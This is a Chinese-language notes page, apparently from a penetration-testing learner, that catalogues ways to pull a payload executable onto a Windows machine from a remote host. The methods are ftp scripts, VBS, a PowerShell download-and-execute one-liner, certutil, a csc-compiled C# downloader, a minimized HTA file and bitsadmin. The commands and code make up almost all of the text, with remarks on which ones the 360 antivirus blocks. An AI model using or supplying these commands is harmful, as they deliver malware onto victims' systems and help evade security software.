利用ftp來下載payload文件
echo open 192.168.1.1 21> ftp.txt
echo ftp>> ftp.txt
echo bin >> ftp.txt
echo ftp>> ftp.txt
echo GET 1.exe >> ftp.txt
ftp -s:ftp.txt
后記:這個我沒有實驗成功太菜了
利用vbs來下載payload
Set Post = CreateObject("Msxml2.XMLHTTP")
Set Shell = CreateObject("Wscript.Shell")
Post.Open "GET","http://192.168.1.1/1.exe",0
Post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
aGet.Write(Post.responseBody)
aGet.SaveToFile "C:\test\1.exe",2
后記:這個已經利用成功了,網上說可以用script來執行,可能win10上面沒有,但是可以直接雙擊運行,或者命令行里面直接使用,vbs腳本后綴為vbs
利用Powershell來下載payload
powershell (new-object System.Net.WebClient).DownloadFile('http://192.168.1.1/1.exe','C:\test\1.exe');start-process 'C:\test\1.exe'
后記:是在命令行中執行以上命令
利用certutil下載文件
直接下載certutil.exe -urlcache -split -f http://192.168.1.1/1.exe
指定文件名保存certutil.exe -urlcache -split -f http://192.168.1.1/1.txt 1.php
刪除緩存certutil.exe -urlcache -split -f http://192.168.1.1/1.exe delete
查看緩存certutil.exe -urlcache *
至於這個緩存有什么用就不知道了
后記:下載的文件就在當前目錄並且文件名與url相同(除非指定文件名保存),360會攔截
利用CSC(windows的c#編譯器)來下載文件
1.cs文件內容
using System.Net;
namespace downloader
{
class Program
{
static void Main(string[] args)
{
WebClient client = new WebClient();
string URLAddress = @"http://192.168.1.1/1.exe";
string receivePath = @"C:\test\";
client.DownloadFile(URLAddress, receivePath + System.IO.Path.GetFileName
(URLAddress));
}
}
}
后記:csc.exe位於C:\Windows\Microsoft.NET\Framework\v2.0.50727。因為未加入環境變量中所以需要指定路徑。
使用方式:C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /out:C:\tes
t\download.exe C:\test\1.cs
這樣1.cs就會被編輯為exe文件,我們運行一下就會把文件下載下來了,360會進行攔截,估計是捕獲了下載的時候的流量了,因為並不是直接就攔截了
hta下載文件
將下列代碼保存至.hta文件
<html>
<head>
<script>
var Object = new ActiveXObject("MSXML2.XMLHTTP");
Object.open("GET","http://192.168.1.1/1.exe",false);
Object.send();
if (Object.Status == 200)
{
var Stream = new ActiveXObject("ADODB.Stream");
Stream.Open();
Stream.Type = 1;
Stream.Write(Object.ResponseBody);
Stream.SaveToFile("C:\\test\\1.exe", 2);
Stream.Close();
}
window.close();
</script>
<HTA:APPLICATION
WINDOWSTATE = "minimize">
</head>
<body>
</body>
</html>
后記:直接雙擊運行既可或者命令行直接執行,360會攔截
利用bitsadmin下載文件
bitsadmin是一個控制台工具,可用於創建下載或上傳工作和監測其進展情況。xp以后的Windows系統自帶
bitsadmin /transfer n http://192.168.1.1/1.exe C:\test\update\1.exe
后記:不支持https/ftp協議,php/python自帶的服務器會報錯,360會攔截